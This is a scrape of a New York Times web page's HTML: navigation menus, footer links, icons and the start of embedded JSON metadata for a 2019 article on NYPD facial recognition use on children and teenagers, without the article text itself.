data-testid="site-index-section-list-link">world</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/us" data-testid="site-index-section-list-link">U.S.</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/politics" data-testid="site-index-section-list-link">politics</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/news-event/2020-election" data-testid="site-index-section-list-link">Election 2020</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/nyregion" data-testid="site-index-section-list-link">New York</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/business" data-testid="site-index-section-list-link">business</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/technology" data-testid="site-index-section-list-link">tech</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/science" data-testid="site-index-section-list-link">science</a></li><li class="css-ist4u3 smartphone"><a class="css-kwpx34" href="https://www.nytimes.com/section/climate" data-testid="site-index-section-list-link">climate</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/sports" data-testid="site-index-section-list-link">sports</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/obituaries" data-testid="site-index-section-list-link">obituaries</a></li><li class="css-ist4u3 smartphone"><a class="css-kwpx34" href="https://www.nytimes.com/section/upshot" data-testid="site-index-section-list-link">the upshot</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/todayspaper" data-testid="site-index-section-list-link">today&#x27;s paper</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/corrections" data-testid="site-index-section-list-link">corrections</a></li></ul></section><section class="css-1rr4qq7" aria-labelledby="site-index-section-label-1"><h3 class="css-rxqrcl" id="site-index-section-label-1">opinion</h3><ul class="css-1iruc8t" data-testid="site-index-section-list"><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/opinion" data-testid="site-index-section-list-link">today&#x27;s opinion</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/opinion/columnists" data-testid="site-index-section-list-link">op-ed columnists</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/opinion/editorials" data-testid="site-index-section-list-link">editorials</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/opinion/contributors" data-testid="site-index-section-list-link">op-ed Contributors</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/opinion/letters" data-testid="site-index-section-list-link">letters</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/opinion/sunday" data-testid="site-index-section-list-link">sunday review</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/video/opinion" data-testid="site-index-section-list-link">video: opinion</a></li></ul></section><section class="css-1rr4qq7" aria-labelledby="site-index-section-label-2"><h3 class="css-rxqrcl" id="site-index-section-label-2">arts</h3><ul class="css-1iruc8t" data-testid="site-index-section-list"><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/arts" data-testid="site-index-section-list-link">today&#x27;s arts</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/arts/design" data-testid="site-index-section-list-link">art &amp; design</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/books" data-testid="site-index-section-list-link">books</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/arts/dance" data-testid="site-index-section-list-link">dance</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/movies" data-testid="site-index-section-list-link">movies</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/arts/music" data-testid="site-index-section-list-link">music</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/spotlight/pop-culture" data-testid="site-index-section-list-link">Pop Culture</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/arts/television" data-testid="site-index-section-list-link">television</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/theater" data-testid="site-index-section-list-link">theater</a></li><li class="css-ist4u3 smartphone"><a class="css-kwpx34" href="https://www.nytimes.com/watching" data-testid="site-index-section-list-link">watching</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/video/arts" data-testid="site-index-section-list-link">video: arts</a></li></ul></section><section class="css-1rr4qq7" aria-labelledby="site-index-section-label-3"><h3 class="css-rxqrcl" id="site-index-section-label-3">living</h3><ul class="css-1iruc8t" data-testid="site-index-section-list"><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/automobiles" data-testid="site-index-section-list-link">automobiles</a></li><li class="css-ist4u3 smartphone"><a class="css-kwpx34" href="https://cooking.nytimes.com/" data-testid="site-index-section-list-link">Cooking</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/crosswords" data-testid="site-index-section-list-link">crossword</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/education" data-testid="site-index-section-list-link">education</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/food" data-testid="site-index-section-list-link">food</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/health" data-testid="site-index-section-list-link">health</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/jobs" data-testid="site-index-section-list-link">jobs</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/magazine" data-testid="site-index-section-list-link">magazine</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://parenting.nytimes.com/" data-testid="site-index-section-list-link">parenting</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/realestate" data-testid="site-index-section-list-link">real estate</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/style" data-testid="site-index-section-list-link">style</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/t-magazine" data-testid="site-index-section-list-link">t magazine</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/travel" data-testid="site-index-section-list-link">travel</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/fashion/weddings" data-testid="site-index-section-list-link">love</a></li></ul></section><section class="css-1rr4qq7" aria-labelledby="site-index-section-label-4"><h3 class="css-rxqrcl" id="site-index-section-label-4">more</h3><ul class="css-1iruc8t" data-testid="site-index-section-list"><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/reader-center" data-testid="site-index-section-list-link">Reader Center</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://thewirecutter.com" data-testid="site-index-section-list-link">Wirecutter</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="http://nytconferences.com/" data-testid="site-index-section-list-link">Live Events</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/learning" data-testid="site-index-section-list-link">The Learning Network</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="http://www.nytimes.com/marketing/tools-and-services" data-testid="site-index-section-list-link">tools &amp; services</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/events" data-testid="site-index-section-list-link">N.Y.C. events guide</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/multimedia" data-testid="site-index-section-list-link">multimedia</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/lens" data-testid="site-index-section-list-link">photography</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/video" data-testid="site-index-section-list-link">video</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/newsletters" data-testid="site-index-section-list-link">Newsletters</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/store" data-testid="site-index-section-list-link">NYT store</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/times-journeys" data-testid="site-index-section-list-link">times journeys</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://myaccount.nytimes.com/membercenter/myaccount.html" data-testid="site-index-section-list-link">manage my account</a></li></ul></section><div class="css-6xhk3s" aria-labelledby="site-index-subscribe-label"><h3 class="css-rxqrcl" id="site-index-subscribe-label">Subscribe</h3><ul class="css-1iruc8t" data-testid="site-index-subscribe-list"><li class="css-tj0ten"><a class="css-1k2cjfc" href="https://www.nytimes.com/hdleftnav" data-testid="site-index-subscribe-list-link"><svg class="css-r5ic95" viewBox="0 0 14 13" fill="#000"><path d="M13.1,11.7H3.5V1.2h9.6V11.7zM13.1,0.4H3.5C3,0.4,2.6,0.8,2.6,1.2v2.2H0.9C0.4,3.4,0,3.8,0,4.3v5.2v1.5c0,0.8,0.8,1.5,1.8,1.5h1.7h0h7.4h2.2c0.5,0,0.9-0.4,0.9-0.9V1.2C14,0.8,13.6,0.4,13.1,0.4"></path><polygon points="10.9,3 5.2,3 5.2,3.9 11.4,3.9 11.4,3"></polygon><rect x="5.2" y="4.7" width="6.1" height="0.9"></rect><rect x="5.2" y="6.5" width="6.1" height="0.9"></rect></svg>home delivery</a></li><li class="css-tj0ten"><a class="css-1k2cjfc" href="https://www.nytimes.com/digitalleftnav" data-testid="site-index-subscribe-list-link"><svg class="css-r5ic95" viewBox="0 0 10 13"><path fill="#000" d="M9.9,8c-0.4,1.1-1.2,1.9-2.3,2.4V8l1.3-1.2L7.6,5.7V4c1.2-0.1,2-1,2-2c0-1.4-1.3-1.9-2.1-1.9c-0.2,0-0.3,0-0.6,0.1v0.1c0.1,0,0.2,0,0.3,0c0.5,0,0.9,0.2,0.9,0.7c0,0.4-0.3,0.7-0.8,0.7C6,1.7,4.5,0.6,2.8,0.6c-1.5,0-2.5,1.1-2.5,2.2C0.3,4,1,4.3,1.6,4.6l0-0.1C1.4,4.4,1.3,4.1,1.3,3.8c0-0.5,0.5-0.9,1-0.9C3.7,2.9,6,4,7.4,4h0.1v1.7L6.2,6.8L7.5,8v2.4c-0.5,0.2-1.1,0.3-1.7,0.3c-2.2,0-3.6-1.3-3.6-3.5c0-0.5,0.1-1,0.2-1.5l1.1-0.5V10l2.2-1v-5L2.5,5.5c0.3-1,1-1.7,1.8-2l0,0C2.2,3.9,0.1,5.6,0.1,8c0,2.9,2.4,4.8,5.2,4.8C8.2,12.9,9.9,10.9,9.9,8L9.9,8z"></path></svg>digital subscriptions</a></li><li class="css-tj0ten"><a class="css-1k2cjfc" href="https://www.nytimes.com/subscription/games/lp897H9.html" data-testid="site-index-subscribe-list-link"><svg class="css-r5ic95" viewBox="0 0 13 13" fill="#000"><polygon points="0,-93.6 0,-86.9 6.6,-93.6"></polygon><polygon points="0.9,-86 7.5,-86 7.5,-92.6"></polygon><polygon points="0,-98 0,-94.8 8.8,-94.8 8.8,-86 12,-86 12,-98"></polygon><path d="M11.9-40c-0.4,1.1-1.2,1.9-2.3,2.4V-40l1.3-1.2l-1.3-1.2V-44c1.2-0.1,2-1,2-2c0-1.4-1.3-1.9-2.1-1.9c-0.2,0-0.3,0-0.6,0.1v0.1c0.1,0,0.2,0,0.3,0c0.5,0,0.9,0.2,0.9,0.7c0,0.4-0.3,0.7-0.8,0.7c-1.3,0-2.8-1.1-4.5-1.1c-1.5,0-2.5,1.1-2.5,2.2c0,1.1,0.6,1.5,1.3,1.7l0-0.1c-0.2-0.1-0.4-0.4-0.4-0.7c0-0.5,0.5-0.9,1-0.9C5.7-45.1,8-44,9.4-44h0.1v1.7l-1.3,1.1L9.5-40v2.4c-0.5,0.2-1.1,0.3-1.7,0.3c-2.2,0-3.6-1.3-3.6-3.5c0-0.5,0.1-1,0.2-1.5l1.1-0.5v4.9l2.2-1v-5l-3.3,1.5c0.3-1,1-1.7,1.8-2l0,0c-2.2,0.5-4.3,2.1-4.3,4.6c0,2.9,2.4,4.8,5.2,4.8C10.2-35.1,11.9-37.1,11.9-40L11.9-40z"></path><path d="M12.2-23.7c-0.2,0-0.4,0.2-0.4,0.4v0.4L0.4-19.1v2.3l3,1l-0.2,0.6c-0.3,0.8,0.1,1.8,0.9,2.1l1.7,0.7c0.2,0.1,0.4,0.1,0.6,0.1c0.6,0,1.3-0.4,1.5-1l0.4-0.9l3.5,1.2v0.4c0,0.2,0.2,0.4,0.4,0.4c0.2,0,0.4-0.2,0.4-0.4v-10.7C12.6-23.5,12.4-23.7,12.2-23.7M7.1-13.6c-0.2,0.4-0.6,0.6-1,0.4l-1.7-0.7c-0.4-0.2-0.6-0.6-0.4-1l0.3-0.7l3.3,1.1L7.1-13.6z"></path><path d="M13.1-60.3H3.5v-10.5h9.6V-60.3zM13.1-71.6H3.5c-0.5,0-0.9,0.4-0.9,0.9v2.2H0.9c-0.5,0-0.9,0.4-0.9,0.9v5.2v1.5c0,0.8,0.8,1.5,1.8,1.5h1.7h0h7.4h2.2c0.5,0,0.9-0.4,0.9-0.9v-10.5C14-71.2,13.6-71.6,13.1-71.6"></path><polygon points="10.9,-69 5.2,-69 5.2,-68.1 11.4,-68.1 11.4,-69"></polygon><rect x="5.2" y="-67.3" width="6.1" height="0.9"></rect><rect x="5.2" y="-65.5" width="6.1" height="0.9"></rect><path d="M12,6.5H6.5V12H1V6.5h5.5V1H12V6.5zM12,0H1C0.4,0,0,0.5,0,1v11c0,0.6,0.4,1,1,1h11c0.5,0,1-0.4,1-1V1C13,0.5,12.5,0,12,0"></path></svg>Crossword</a></li><li class="css-tj0ten"><a class="css-1k2cjfc" href="https://www.nytimes.com/subscriptions/Multiproduct/lp8R3WU.html" data-testid="site-index-subscribe-list-link"><svg class="css-r5ic95" viewBox="0 0 13 13" fill="#000"><path d="M12,2.9L9.6,5.2c-0.1,0.1-0.3,0.1-0.4,0C9.1,5.2,9.1,5,9.3,4.9l2.4-2.4c-0.2-0.2-0.3-0.3-0.5-0.5L8.7,4.3c-0.1,0.1-0.3,0.1-0.4,0C8.2,4.3,8.2,4.1,8.4,4l2.4-2.4c-0.3-0.3-0.5-0.5-0.5-0.5L7.6,3.4C7.1,4,6.8,5.1,7.1,5.8c-1.4,1-4.6,3.5-5.1,4c-0.8,0.8-0.4,1.8-0.3,1.9c0,0,0,0,0,0c0,0,0,0,0,0c0.1,0.1,1.1,0.5,1.9-0.3c0.4-0.4,2.9-3.6,3.9-5C8.4,6.9,9.6,6.6,10.2,6l2.3-2.6C12.5,3.4,12.3,3.2,12,2.9z"></path><path d="M0.8,1.9l0.3-0.3c0.9-0.9,3.2,1.1,3.8,1.7s0.9,1.8,0.4,2.6c1.4,1.1,4.6,3.5,5,3.9c0.8,0.8,0.4,1.8,0.3,1.9c0,0,0,0,0,0c0,0,0,0,0,0c-0.1,0.1-1.1,0.5-1.9-0.3c-0.4-0.4-2.9-3.7-4-5.1C3.9,6.7,2.9,6.4,2.3,5.8S-0.2,2.9,0.8,1.9z"></path></svg>Cooking</a></li></ul><ul class="css-1iruc8t" data-testid="site-index-corporate-links"><li><a class="css-1vhk1ks" href="https://www.nytimes.com/marketing/newsletters">email newsletters</a></li><li><a class="css-1vhk1ks" href="https://www.nytimes.com/corporateleftnav">corporate subscriptions</a></li><li><a class="css-1vhk1ks" href="https://www.nytimes.com/educationleftnav">education rate</a></li></ul><ul class="css-6td9kr" data-testid="site-index-alternate-links"><li><a class="css-1vhk1ks" href="https://www.nytimes.com/services/mobile/index.html">mobile applications</a></li><li><a class="css-1vhk1ks" href="http://eedition.nytimes.com/cgi-bin/signup.cgi?cc=37FYY">replica edition</a></li></ul></div></div></div></div></nav><footer role="contentinfo" class="css-1qmnftd e5u916q0"><nav data-testid="footer" class="css-15uy5yv"><h2 class="css-vz7hjd">Site Information Navigation</h2><ul class="css-1ho5u4o e5u916q1"><li data-testid="copyright"><a class="css-1p8nkc0" href="https://www.nytimes.com/content/help/rights/copyright/copyright-notice.html">© <span itemProp="copyrightYear">2019</span><span itemProp="publisher copyrightHolder provider sourceOrganization" itemscope="" itemType="http://schema.org/NewsMediaOrganization" itemID="https://www.nytimes.com"> <meta itemProp="diversityPolicy" content="https://www.nytco.com/diversity-and-inclusion-at-the-new-york-times/"/><meta itemProp="ethicsPolicy" content="https://www.nytco.com/who-we-are/culture/standards-and-ethics/"/><meta itemProp="foundingDate" content="1851-09-18"/><span itemProp="logo" itemscope="" itemType="https://schema.org/ImageObject"><meta itemProp="url" content="https://static01.nyt.com/images/misc/NYT_logo_rss_250x40.png"/></span><meta itemProp="url" content="https://www.nytimes.com/"/><meta itemProp="masthead" content="https://www.nytimes.com/interactive/2018/09/28/admin/the-new-york-times-masthead.html"/><meta itemProp="name" content="The New York Times"/><span>The New York Times Company</span></span></a></li></ul><ul class="css-13o0c9t e5u916q2"><li class="css-1yo489b e5u916q3"><a data-testid="footer-link" class="css-1p8nkc0" href="https://myaccount.nytimes.com/membercenter/feedback.html">Contact Us</a></li><li class="css-1yo489b e5u916q3"><a data-testid="footer-link" class="css-1p8nkc0" href="http://www.nytco.com/careers">Work with us</a></li><li class="css-1yo489b e5u916q3"><a data-testid="footer-link" class="css-1p8nkc0" href="http://nytmediakit.com/">Advertise</a></li><li class="css-1yo489b e5u916q3"><a data-testid="footer-link" class="css-1p8nkc0" href="http://www.tbrandstudio.com/">T Brand Studio</a></li><li class="css-1yo489b e5u916q3"><a data-testid="footer-link" class="css-1p8nkc0" href="https://www.nytimes.com/content/help/rights/privacy/policy/privacy-policy.html#pp">Your Ad Choices</a></li><li class="css-1yo489b e5u916q3"><a data-testid="footer-link" class="css-1p8nkc0" href="https://www.nytimes.com/privacy">Privacy</a></li><li class="css-1yo489b e5u916q3"><a data-testid="footer-link" class="css-1p8nkc0" href="https://www.nytimes.com/ref/membercenter/help/agree.html">Terms of Service</a></li><li class="css-1yo489b e5u916q3"><a data-testid="footer-link" class="css-1p8nkc0" href="https://www.nytimes.com/content/help/rights/sale/terms-of-sale.html">Terms of Sale</a></li><li class="css-1yo489b e5u916q3"><a data-testid="footer-link" class="css-1p8nkc0" href="http://spiderbites.nytimes.com">Site Map</a></li><li class="smartphone css-1yo489b e5u916q3"><a data-testid="footer-link" class="css-1p8nkc0" href="https://mobile.nytimes.com/help">Help</a></li><li class="desktop css-1yo489b e5u916q3"><a data-testid="footer-link" class="css-1p8nkc0" href="https://www.nytimes.com/membercenter/sitehelp.html">Help</a></li><li class="css-1yo489b e5u916q3"><a data-testid="footer-link" class="css-1p8nkc0" href="https://www.nytimes.com/subscription/multiproduct/lp8HYKU?campaignId=37WXW">Subscriptions</a></li></ul></nav></footer></div></div></div></div>
+ <script>window.__preloadedData = {"initialState":{"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==":{"__typename":"Article","id":"QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==","compatibility":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.compatibility","typename":"CompatibilityFeatures"},"archiveProperties":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.archiveProperties","typename":"ArticleArchiveProperties"},"collections@filterEmpty":[{"type":"id","generated":false,"id":"LegacyCollection:TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzE5ZjY2OTk4LWY1NjItNWVjNi1iM2Y5LTI5OGYxYzc2ZGQ4NA==","typename":"LegacyCollection"},{"type":"id","generated":false,"id":"LegacyCollection:TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzExZjcyYWI0LTdjZDAtNTQwYS05M2NjLWYzNWIzMmNkMDEzZA==","typename":"LegacyCollection"},{"type":"id","generated":false,"id":"LegacyCollection:TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzU4ZWNlMGQwLTNjMzUtNWZhOS1iNTM1LTk0OTk3YTdjOGMwZg==","typename":"LegacyCollection"},{"type":"id","generated":false,"id":"LegacyCollection:TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzkwODhjZmU2LTg1ZTMtNTJmYi05OTNlLTYyODk3MDJhMTFmZg==","typename":"LegacyCollection"}],"tone":"NEWS","section":{"type":"id","generated":false,"id":"Section:U2VjdGlvbjpueXQ6Ly9zZWN0aW9uLzM5NDgwMzc0LTY2ZDMtNTYwMy05Y2UxLTU4Y2ZhMTI5ODhlMg==","typename":"Section"},"subsection":null,"sprinkledBody":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody","typename":"DocumentBlock"},"url":"https:\u002F\u002Fwww.nytimes.com\u002F2019\u002F08\u002F01\u002Fnyregion\u002Fnypd-facial-recognition-children-teenagers.html","adTargetingParams({\"clientAdParams\":{\"edn\":\"us\",\"plat\":\"web\",\"prop\":\"nyt\"}})":[{"type":"id","generated":false,"id":"AdTargetingParam:als_test1565027040168","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:propnyt","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:platweb","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:ednus","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:brandsensitivefalse","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:per","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:orgpolicedepartmentnyc","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:geonewyorkcity","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:desjuveniledelinquency,facialrecognitionsoftware,privacy,surveillanceofcitizensbygovern,police,civilrightsandliberties","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:spon","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:authaliwatkins,josephgoldstein","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:col","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:collnewyork,usnews,technology,techandsociety","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:artlenmedium","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:ledemedsznone","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:gui","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:templatearticle","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:typart,oak","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:sectionnyregion","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:si_sectionnyregion","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:id100000006583622","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:trend","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:ptnt10,nt15,nt16,nt18,nt3,nt4,nt9","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:gscatneg_mastercard,gs_law_misc,neg_chanel,gv_crime,neg_hearts,gs_tech,gs_law,gs_tech_computing,neg_ibmtest,gs_tech_phones,neg_samsung,gs_education","typename":"AdTargetingParam"}],"sourceId":"100000006583622","type":"article","wordCount":1357,"bylines":[{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0","typename":"Byline"}],"displayProperties":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.displayProperties","typename":"CreativeWorkDisplayProperties"},"typeOfMaterials":{"type":"json","json":["News"]},"collections":[{"type":"id","generated":false,"id":"LegacyCollection:TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzE5ZjY2OTk4LWY1NjItNWVjNi1iM2Y5LTI5OGYxYzc2ZGQ4NA==","typename":"LegacyCollection"},{"type":"id","generated":false,"id":"LegacyCollection:TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzExZjcyYWI0LTdjZDAtNTQwYS05M2NjLWYzNWIzMmNkMDEzZA==","typename":"LegacyCollection"},{"type":"id","generated":false,"id":"LegacyCollection:TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzU4ZWNlMGQwLTNjMzUtNWZhOS1iNTM1LTk0OTk3YTdjOGMwZg==","typename":"LegacyCollection"},{"type":"id","generated":false,"id":"LegacyCollection:TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzkwODhjZmU2LTg1ZTMtNTJmYi05OTNlLTYyODk3MDJhMTFmZg==","typename":"LegacyCollection"}],"timesTags@filterEmpty":[{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.0","typename":"Organization"},{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.1","typename":"Subject"},{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.2","typename":"Subject"},{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.3","typename":"Subject"},{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.4","typename":"Subject"},{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.5","typename":"Subject"},{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.6","typename":"Subject"},{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.7","typename":"Location"}],"language":null,"desk":"Metro","kicker":"","headline":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.headline","typename":"CreativeWorkHeadline"},"commentStatus":"ACCEPT_AND_DISPLAY_COMMENTS","firstPublished":"2019-08-01T17:15:31.000Z","lastModified":"2019-08-02T17:26:37.071Z","originalDesk":"Metro","source":{"type":"id","generated":false,"id":"Organization:T3JnYW5pemF0aW9uOm55dDovL29yZ2FuaXphdGlvbi9jMjc5MTM4OC02YjE2LTVmZmQtYTExOS05NmVhY2IxOTg5YzE=","typename":"Organization"},"printInformation":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.printInformation","typename":"PrintInformation"},"sprinkled":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkled","typename":"SprinkledContent"},"followChannels":[{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.followChannels.0","typename":"ChannelMetadata"},{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.followChannels.1","typename":"ChannelMetadata"},{"type":"id","generated":true,"id":"Article:QXJ0aWNs